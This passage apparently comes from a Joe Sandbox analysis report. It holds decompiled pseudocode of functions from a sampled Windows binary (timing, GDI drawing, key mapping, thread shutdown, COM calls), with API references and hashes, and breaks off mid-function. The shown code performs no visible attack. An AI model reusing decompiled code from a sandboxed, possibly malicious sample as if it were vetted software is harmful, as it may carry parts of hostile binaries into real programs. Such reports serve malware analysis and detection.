                                                                                                                                                                            0x004360ab
                                                                                                                                                                            0x004360b3
                                                                                                                                                                            0x004360b5
                                                                                                                                                                            0x004360ba
                                                                                                                                                                            0x004360bf
                                                                                                                                                                            0x004360c1
                                                                                                                                                                            0x004360c6
                                                                                                                                                                            0x004360c8
                                                                                                                                                                            0x004360c8
                                                                                                                                                                            0x004360cd
                                                                                                                                                                            0x004360ce
                                                                                                                                                                            0x004360d3
                                                                                                                                                                            0x004360d6
                                                                                                                                                                            0x004360d6
                                                                                                                                                                            0x004360c1
                                                                                                                                                                            0x004360e5
                                                                                                                                                                            0x004360e7
                                                                                                                                                                            0x004360ec
                                                                                                                                                                            0x004360f0
                                                                                                                                                                            0x004360f5
                                                                                                                                                                            0x004360ff
                                                                                                                                                                            0x00436105
                                                                                                                                                                            0x00436107
                                                                                                                                                                            0x00436109
                                                                                                                                                                            0x0043610b
                                                                                                                                                                            0x0043610b
                                                                                                                                                                            0x00436119
                                                                                                                                                                            0x0043611b
                                                                                                                                                                            0x0043611e
                                                                                                                                                                            0x00436125
                                                                                                                                                                            0x0043612a
                                                                                                                                                                            0x0043612c
                                                                                                                                                                            0x00436133

                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _wcslen$_wcstok$ExtentPoint32Text
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1814673581-0
                                                                                                                                                                            • Opcode ID: cf50433860b5c5ee623566781d9083cc0ce59c581d7d4fe1355e753f7016059c
                                                                                                                                                                            • Instruction ID: 25d714350c6a951fb861184d208c8546153e966ae5ec0a2422e5c8358eb53325
                                                                                                                                                                            • Opcode Fuzzy Hash: cf50433860b5c5ee623566781d9083cc0ce59c581d7d4fe1355e753f7016059c
                                                                                                                                                                            • Instruction Fuzzy Hash: F60125B19053126BC6209F95DC42B5BB7E8EF45760F11842AFD04E3340D7F8E84483EA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00436272 Relevance: 9.1, APIs: 6, Instructions: 59sleepCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 70%
                                                                                                                                                                            			E00436272(int __eax, signed long long __fp0, signed short _a4) {
				union _LARGE_INTEGER _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				union _LARGE_INTEGER _v24;
				intOrPtr _v28;
				union _LARGE_INTEGER _v32;
				signed int _v40;
				signed int _t20;
				long _t26;
				long _t28;
				signed long long _t29;

				_t29 = __fp0;
				_t13 = __eax;
				_t26 = _a4;
				_t28 = _t26;
				if(_t28 < 0) {
					return __eax;
				} else {
					if(_t28 != 0) {
						if(_t26 >= 0xf) {
							L8:
							Sleep(_t26);
							return _t13;
						}
						_t13 = QueryPerformanceCounter( &_v24);
						if(_t13 == 0) {
							goto L8;
						}
						QueryPerformanceFrequency( &_v8);
						do {
							Sleep(0);
							QueryPerformanceCounter( &_v32);
							asm("fnstcw word [esp+0x34]");
							asm("sbb ecx, [esp+0x1c]");
							_v16 = _v32.LowPart - _v24.LowPart;
							_v12 = _v28;
							asm("fild qword [esp+0x20]");
							asm("fild qword [esp+0x28]");
							_t20 = _a4 & 0x0000ffff | 0x00000c00;
							_v40 = _t20;
							asm("fdivp st1, st0");
							_t29 = _t29 *  *0x48c548;
							asm("fldcw word [esp+0x8]");
							asm("fistp qword [esp+0x8]");
							asm("fldcw word [esp+0x34]");
						} while (_v40 < _t26);
						return _t20;
					} else {
						Sleep(0);
						return _t13;
					}
				}
			}














                                                                                                                                                                            0x00436272
                                                                                                                                                                            0x00436272
                                                                                                                                                                            0x00436276
                                                                                                                                                                            0x0043627b
                                                                                                                                                                            0x0043627d
                                                                                                                                                                            0x00436327
                                                                                                                                                                            0x00436283
                                                                                                                                                                            0x00436283
                                                                                                                                                                            0x00436296
                                                                                                                                                                            0x0043631b
                                                                                                                                                                            0x0043631c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0043631c
                                                                                                                                                                            0x004362a7
                                                                                                                                                                            0x004362ab
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004362b2
                                                                                                                                                                            0x004362b8
                                                                                                                                                                            0x004362ba
                                                                                                                                                                            0x004362c5
                                                                                                                                                                            0x004362c7
                                                                                                                                                                            0x004362d7
                                                                                                                                                                            0x004362db
                                                                                                                                                                            0x004362df
                                                                                                                                                                            0x004362e3
                                                                                                                                                                            0x004362ec
                                                                                                                                                                            0x004362f0
                                                                                                                                                                            0x004362f5
                                                                                                                                                                            0x004362f9
                                                                                                                                                                            0x004362fb
                                                                                                                                                                            0x00436301
                                                                                                                                                                            0x00436305
                                                                                                                                                                            0x0043630d
                                                                                                                                                                            0x00436311
                                                                                                                                                                            0x0043631a
                                                                                                                                                                            0x00436285
                                                                                                                                                                            0x00436287
                                                                                                                                                                            0x00436292
                                                                                                                                                                            0x00436292
                                                                                                                                                                            0x00436283

                                                                                                                                                                            APIs
                                                                                                                                                                            • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                                                                                                            • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362A7
                                                                                                                                                                            • QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362B2
                                                                                                                                                                            • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362BA
                                                                                                                                                                            • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362C5
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: PerformanceQuery$CounterSleep$Frequency
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2833360925-0
                                                                                                                                                                            • Opcode ID: ce9720f61a9ee9538873cf1403cb39b7711a51cb3deac7b7aa4b9b4cf2db8b86
                                                                                                                                                                            • Instruction ID: c21ea81f2c38402705b15ef58ab4919efdb6e4f3ef0ac894e378511a69de5cf2
                                                                                                                                                                            • Opcode Fuzzy Hash: ce9720f61a9ee9538873cf1403cb39b7711a51cb3deac7b7aa4b9b4cf2db8b86
                                                                                                                                                                            • Instruction Fuzzy Hash: C411D031909306ABC700EF19DA8499FB7E4FFCCB11F828D2DF98592210D734C9498B96
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004471EC Relevance: 9.0, APIs: 6, Instructions: 50COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E004471EC(struct HDC__* _a4, int _a8, int _a12, signed char _a16) {
				void* _t10;
				int _t19;
				int _t22;
				struct HDC__* _t24;

				_t19 = _a8;
				_t24 = _a4;
				_t22 = _a12;
				if((_a16 & 0x00000001) != 0) {
					E0044710F(_t24, 0, 0xffffffff, 0, 1);
					MoveToEx(_t24, _t19 - 2, _t22, 0);
					LineTo(_t24, _t19 + 3, _t22);
					MoveToEx(_t24, _t19, _t22 - 2, 0);
					LineTo(_t24, _t19, _t22 + 3);
					if( *0x4a8494 != 0) {
						EndPath(_t24);
						 *0x4a8494 = 0;
					}
					return StrokePath(_t24);
				}
				return _t10;
			}







                                                                                                                                                                            0x004471f2
                                                                                                                                                                            0x004471f7
                                                                                                                                                                            0x004471fc
                                                                                                                                                                            0x00447200
                                                                                                                                                                            0x0044720c
                                                                                                                                                                            0x0044721f
                                                                                                                                                                            0x00447227
                                                                                                                                                                            0x00447235
                                                                                                                                                                            0x0044723d
                                                                                                                                                                            0x0044724b
                                                                                                                                                                            0x0044724e
                                                                                                                                                                            0x00447254
                                                                                                                                                                            0x00447254
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044725c
                                                                                                                                                                            0x00447265

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                                                                                              • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                                              • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                                              • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                                              • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                                            • MoveToEx.GDI32(?,?,?,00000000), ref: 0044721F
                                                                                                                                                                            • LineTo.GDI32(?,?,?), ref: 00447227
                                                                                                                                                                            • MoveToEx.GDI32(?,?,?,00000000), ref: 00447235
                                                                                                                                                                            • LineTo.GDI32(?,?,?), ref: 0044723D
                                                                                                                                                                            • EndPath.GDI32(?), ref: 0044724E
                                                                                                                                                                            • StrokePath.GDI32(?), ref: 0044725C
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ObjectPath$LineMoveSelect$BeginCreateDeleteStroke
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 372113273-0
                                                                                                                                                                            • Opcode ID: 902a14e142be2de25a3bb197ce65ea465fb84dbb313772e519df98722d37df37
                                                                                                                                                                            • Instruction ID: cf4011081099dc8586e946db52605055ec0608de7db987eb6b7af15cf0be2a5d
                                                                                                                                                                            • Opcode Fuzzy Hash: 902a14e142be2de25a3bb197ce65ea465fb84dbb313772e519df98722d37df37
                                                                                                                                                                            • Instruction Fuzzy Hash: B7018F36105264BBE2119750EC4AF9FBBACEF8A710F14451DF70156191C7F42A0587BD
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00410940 Relevance: 9.0, APIs: 6, Instructions: 49keyboardCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E00410940(intOrPtr* __esi) {
				int _t29;

				 *__esi = 5;
				 *((intOrPtr*)(__esi + 4)) = 5;
				 *((char*)(__esi + 8)) = 1;
				 *((char*)(__esi + 9)) = 0;
				 *((intOrPtr*)(__esi + 0x10)) = 0;
				 *((char*)(__esi + 0x14)) = 0;
				 *((char*)(__esi + 0x15)) = 0;
				 *((char*)(__esi + 0x16)) = 0;
				 *((char*)(__esi + 0x17)) = 0;
				 *((char*)(__esi + 0x18)) = 0;
				 *((char*)(__esi + 0x19)) = 0;
				 *((char*)(__esi + 0x1a)) = 0;
				 *((char*)(__esi + 0x1b)) = 0;
				 *((char*)(__esi + 0x1c)) = 0;
				 *((char*)(__esi + 0x1d)) = 0;
				 *((char*)(__esi + 0x1e)) = 0;
				 *((char*)(__esi + 0x1f)) = 0;
				 *((intOrPtr*)(__esi + 0xc)) = 4;
				 *((char*)(__esi + 0x29)) = MapVirtualKeyW(0x5b, 0);
				 *((char*)(__esi + 0x26)) = MapVirtualKeyW(0x10, 0);
				 *((char*)(__esi + 0x27)) = MapVirtualKeyW(0xa0, 0);
				 *((char*)(__esi + 0x28)) = MapVirtualKeyW(0xa1, 0);
				 *((char*)(__esi + 0x24)) = MapVirtualKeyW(0x11, 0);
				_t29 = MapVirtualKeyW(0x12, 0);
				 *(__esi + 0x25) = _t29;
				return _t29;
			}




                                                                                                                                                                            0x00410940
                                                                                                                                                                            0x00410946
                                                                                                                                                                            0x0041094d
                                                                                                                                                                            0x00410954
                                                                                                                                                                            0x00410957
                                                                                                                                                                            0x0041095a
                                                                                                                                                                            0x0041095d
                                                                                                                                                                            0x00410960
                                                                                                                                                                            0x00410963
                                                                                                                                                                            0x00410966
                                                                                                                                                                            0x00410969
                                                                                                                                                                            0x00410974
                                                                                                                                                                            0x00410977
                                                                                                                                                                            0x0041097a
                                                                                                                                                                            0x0041097d
                                                                                                                                                                            0x00410980
                                                                                                                                                                            0x00410983
                                                                                                                                                                            0x00410988
                                                                                                                                                                            0x00410994
                                                                                                                                                                            0x0041099f
                                                                                                                                                                            0x004109aa
                                                                                                                                                                            0x004109b2
                                                                                                                                                                            0x004109ba
                                                                                                                                                                            0x004109bd
                                                                                                                                                                            0x004109c0
                                                                                                                                                                            0x004109c4

                                                                                                                                                                            APIs
                                                                                                                                                                            • MapVirtualKeyW.USER32(0000005B,00000000), ref: 0041098F
                                                                                                                                                                            • MapVirtualKeyW.USER32(00000010,00000000), ref: 00410997
                                                                                                                                                                            • MapVirtualKeyW.USER32(000000A0,00000000), ref: 004109A2
                                                                                                                                                                            • MapVirtualKeyW.USER32(000000A1,00000000), ref: 004109AD
                                                                                                                                                                            • MapVirtualKeyW.USER32(00000011,00000000), ref: 004109B5
                                                                                                                                                                            • MapVirtualKeyW.USER32(00000012,00000000), ref: 004109BD
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Virtual
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 4278518827-0
                                                                                                                                                                            • Opcode ID: 067efc0be0420d5e011611900d1cbcbd564411b72165316cb005851f0732894c
                                                                                                                                                                            • Instruction ID: 14dd698fb88c41d3cb2937c08abaa7ad6cdafd80764dd657d9f2199fb51feb0a
                                                                                                                                                                            • Opcode Fuzzy Hash: 067efc0be0420d5e011611900d1cbcbd564411b72165316cb005851f0732894c
                                                                                                                                                                            • Instruction Fuzzy Hash: 52112A6118ABC4ADD3329F694854A87FFE45FB6304F484A8ED1D607A43C195A60CCBBA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0044B64F Relevance: 9.0, APIs: 6, Instructions: 40synchronizationthreadCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 64%
                                                                                                                                                                            			E0044B64F(intOrPtr _a4) {
				void* _t6;
				long _t8;
				LONG* _t15;
				intOrPtr _t19;
				void* _t20;
				void** _t21;

				_t19 = _a4;
				_t3 = _t19 + 0x30; // 0x42a365
				_t21 = _t3;
				if( *(_t19 + 0x30) != 0) {
					_t4 = _t19 + 0x34; // 0x57401f8
					_t5 = _t19 + 0x34; // 0x42a369
					_t15 = _t5;
					_t8 = InterlockedExchange(_t15,  *_t4);
					if(_t8 != 0x1f6) {
						_t20 = _t19 + 0x14;
						 *0x482220(_t20);
						TerminateThread( *_t21, 0x1f6);
						WaitForSingleObject( *_t21, 0x3e8);
						E004356CD(_t21);
						InterlockedExchange(_t15, 0x1f6);
						_t8 =  *0x482224(_t20);
					}
					return _t8;
				}
				return _t6;
			}









                                                                                                                                                                            0x0044b651
                                                                                                                                                                            0x0044b659
                                                                                                                                                                            0x0044b659
                                                                                                                                                                            0x0044b65c
                                                                                                                                                                            0x0044b65e
                                                                                                                                                                            0x0044b669
                                                                                                                                                                            0x0044b669
                                                                                                                                                                            0x0044b66e
                                                                                                                                                                            0x0044b675
                                                                                                                                                                            0x0044b677
                                                                                                                                                                            0x0044b67b
                                                                                                                                                                            0x0044b689
                                                                                                                                                                            0x0044b697
                                                                                                                                                                            0x0044b69e
                                                                                                                                                                            0x0044b6ac
                                                                                                                                                                            0x0044b6af
                                                                                                                                                                            0x0044b6af
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044b6b6
                                                                                                                                                                            0x0044b6b9

                                                                                                                                                                            APIs
                                                                                                                                                                            • InterlockedExchange.KERNEL32(0042A369,057401F8), ref: 0044B66E
                                                                                                                                                                            • RtlEnterCriticalSection.NTDLL(0042A321), ref: 0044B67B
                                                                                                                                                                            • TerminateThread.KERNEL32(?,000001F6), ref: 0044B689
                                                                                                                                                                            • WaitForSingleObject.KERNEL32(?,000003E8,?,000001F6), ref: 0044B697
                                                                                                                                                                              • Part of subcall function 004356CD: CloseHandle.KERNEL32(00000000,0042A365,0044B6A3,0042A365,?,000003E8,?,000001F6), ref: 004356D9
                                                                                                                                                                            • InterlockedExchange.KERNEL32(0042A369,000001F6), ref: 0044B6AC
                                                                                                                                                                            • RtlLeaveCriticalSection.NTDLL(0042A321), ref: 0044B6AF
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3495660284-0
                                                                                                                                                                            • Opcode ID: 7ab0c325316775d38e8d9aa2ca09049d0c02a968ddf60f226b23d446a35990e5
                                                                                                                                                                            • Instruction ID: 3e278a896620ffa5fdfd5bcc44ba61fc9bc9ab212b345b13b81bb6ec37c91fca
                                                                                                                                                                            • Opcode Fuzzy Hash: 7ab0c325316775d38e8d9aa2ca09049d0c02a968ddf60f226b23d446a35990e5
                                                                                                                                                                            • Instruction Fuzzy Hash: E3F0F672141206BBD210AB24EE89DBFB37CFF44315F41096AF60142550CB75F811CBBA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0047A999 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 288comCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 64%
                                                                                                                                                                            			E0047A999(void* __edx, void* __eflags, void* __fp0) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t111;
				void* _t116;
				intOrPtr _t129;
				intOrPtr* _t131;
				intOrPtr _t152;
				intOrPtr _t154;
				intOrPtr* _t158;
				intOrPtr* _t160;
				void* _t192;
				void* _t210;
				void* _t212;
				intOrPtr _t213;
				intOrPtr _t215;
				intOrPtr* _t219;
				void* _t220;
				void* _t221;
				void* _t222;
				char _t224;
				void* _t226;

				_t226 = __fp0;
				_t192 = __edx;
				_t219 =  *((intOrPtr*)(_t220 + 0xdc));
				 *((intOrPtr*)(_t220 + 0x10)) = 0;
				E0040C060(_t220 + 0x30, __eflags);
				E0040C060(_t220 + 0x68, __eflags);
				E0040C060(_t220 + 0x78, __eflags);
				 *((intOrPtr*)(_t220 + 0x14)) = 0;
				 *((intOrPtr*)(_t220 + 0x18)) = 0;
				 *((intOrPtr*)(_t220 + 0x1c)) = 0;
				 *((intOrPtr*)(_t220 + 0x20)) = 0;
				 *((intOrPtr*)(_t220 + 0x24)) = 0;
				 *((intOrPtr*)(_t220 + 0x28)) = 0;
				 *((intOrPtr*)(_t220 + 0x2c)) = 0;
				E004092C0(_t210, _t219);
				 *((intOrPtr*)(_t219 + 8)) = 1;
				 *_t219 = 0;
				_t224 =  *0x4a7cc2; // 0x0
				if(_t224 == 0) {
					 *0x482820(0);
					 *0x4a7cc2 = 1;
				}
				_t212 = E0040FFF0(0,  *((intOrPtr*)(_t220 + 0xd4)), _t224);
				_t111 =  *0x482828(_t212, _t220 + 0xb8);
				_push(_t212);
				_t215 = _t111;
				E004137D3(0, _t192, _t212, _t215, _t224);
				_t221 = _t220 + 4;
				if(_t215 >= 0) {
					_t113 =  *((intOrPtr*)(_t221 + 0xd8));
					 *((short*)(_t221 + 0x88)) = 9;
					__eflags =  *((intOrPtr*)(_t221 + 0xd8));
					if(__eflags != 0) {
						_t213 =  *((intOrPtr*)(_t221 + 0xdc));
						_push( *((intOrPtr*)(_t221 + 0xe0)));
						_push(_t213);
						_t215 = E004580E1(0, _t221 + 0xc0, __eflags, _t226,  *((intOrPtr*)(_t221 + 0xe4)), _t113, _t221 + 0xc0);
						_t221 = _t221 + 0x14;
						__eflags = _t215;
						if(_t215 != 0) {
							goto L3;
						} else {
							 *0x48282c(0, 0xffffffff, 0, 0, 2, 3, 0, 0, 0);
							E004131F0(_t213, _t221 + 0x9c, 0, 0x10);
							_t222 = _t221 + 0xc;
							_t195 = _t222 + 0x9c;
							E004342A8( *((intOrPtr*)(_t221 + 0xe4)), _t222 + 0x9c);
							__eflags = _t213;
							if(_t213 == 0) {
								 *((intOrPtr*)(_t222 + 0xa0)) = 0;
							} else {
								 *((intOrPtr*)(_t222 + 0x68)) = 1;
								E004021E0(_t222 + 0x34, 0, _t195, _t213);
								_t213 = E00434B96(_t222 + 0x34, "\\");
								__eflags = _t213 - 0xffffffff;
								if(_t213 != 0xffffffff) {
									E0040DF50(_t222 + 0x6c, E004646F6(_t222 + 0x38, _t222 + 0xac, _t213));
									E00402620(_t222 + 0xa8);
									__eflags = _t213;
									 *((intOrPtr*)(_t222 + 0x5c)) =  *((intOrPtr*)(_t222 + 0x68));
									 *((intOrPtr*)(_t222 + 0x68)) =  *((intOrPtr*)(_t222 + 0x6c));
									E0040DF50(_t222 + 0x7c, E00460976(_t213, _t222 + 0x3c, _t222 + 0xb0, _t213, 0xffffffff));
									E00402620(_t222 + 0xa8);
									 *((intOrPtr*)(_t222 + 0x4c)) =  *((intOrPtr*)(_t222 + 0x78));
									 *((intOrPtr*)(_t222 + 0x50)) =  *((intOrPtr*)(_t222 + 0x7c));
								} else {
									 *((intOrPtr*)(_t222 + 0x54)) = 0;
									 *((intOrPtr*)(_t222 + 0x58)) = 0;
									 *((intOrPtr*)(_t222 + 0x4c)) =  *((intOrPtr*)(_t222 + 0x30));
									 *((intOrPtr*)(_t222 + 0x50)) =  *((intOrPtr*)(_t222 + 0x34));
								}
								_t152 =  *((intOrPtr*)(_t222 + 0xe0));
								__eflags = _t152;
								if(_t152 == 0) {
									 *((intOrPtr*)(_t222 + 0x5c)) = 0;
									 *((intOrPtr*)(_t222 + 0x60)) = 0;
								} else {
									 *((intOrPtr*)(_t222 + 0x60)) = _t152;
									_t154 = E004112D5(_t152);
									_t222 = _t222 + 4;
									 *((intOrPtr*)(_t222 + 0x60)) = _t154;
								}
								 *((intOrPtr*)(_t222 + 0x20)) = 2;
								 *((intOrPtr*)(_t222 + 0x14)) = 9;
								 *((intOrPtr*)(_t222 + 0x18)) = 0;
								 *((intOrPtr*)(_t222 + 0x2c)) = 0;
								 *((intOrPtr*)(_t222 + 0x24)) = 3;
								 *((intOrPtr*)(_t222 + 0x1c)) = 0;
								 *((intOrPtr*)(_t222 + 0x28)) = _t222 + 0x4c;
								 *((intOrPtr*)(_t222 + 0xa0)) = _t222 + 0x14;
							}
							 *((intOrPtr*)(_t222 + 0x9c)) = 0;
							E004131F0(_t213, _t222 + 0x44, 0, 0xc);
							_t221 = _t222 + 0xc;
							 *((intOrPtr*)(_t221 + 0x54)) =  *((intOrPtr*)(_t222 + 0x9c));
							 *((intOrPtr*)(_t221 + 0x58)) = 0x4829d0;
							 *((intOrPtr*)(_t221 + 0x60)) = 0;
							_t215 =  *0x482830(_t221 + 0xcc, 0, 0x10, _t221 + 0xa0, 1, _t221 + 0x40);
							__eflags = _t215;
							if(_t215 < 0) {
								goto L3;
							} else {
								_t215 =  *((intOrPtr*)(_t221 + 0x48));
								__eflags = _t215;
								if(_t215 < 0) {
									goto L3;
								} else {
									__eflags =  *((intOrPtr*)(_t221 + 0xa0));
									if( *((intOrPtr*)(_t221 + 0xa0)) != 0) {
										_t215 =  *0x482834( *((intOrPtr*)(_t221 + 0x58)),  *((intOrPtr*)(_t221 + 0x24)),  *((intOrPtr*)(_t221 + 0x24)),  *((intOrPtr*)(_t221 + 0x24)),  *((intOrPtr*)(_t221 + 0x20)),  *((intOrPtr*)(_t221 + 0x24)), _t221 + 0x50, 0x800);
									}
									_t129 =  *((intOrPtr*)(_t221 + 0x44));
									 *((short*)(_t221 + 0x88)) = 9;
									 *((intOrPtr*)(_t221 + 0x90)) = _t129;
									__eflags = _t129;
									if(_t129 != 0) {
										goto L8;
									} else {
										_push(1);
										_push(L"NULL Pointer assignment");
										_push(0);
										_push(1);
										_push( *((intOrPtr*)(_t221 + 0xd0)));
										goto L4;
									}
								}
							}
						}
					} else {
						_t215 =  *0x482800(_t221 + 0xc8, 0, 5, 0x4829c0, _t221 + 0x10);
						__eflags = _t215;
						if(_t215 < 0) {
							goto L3;
						} else {
							_t158 =  *((intOrPtr*)(_t221 + 0x10));
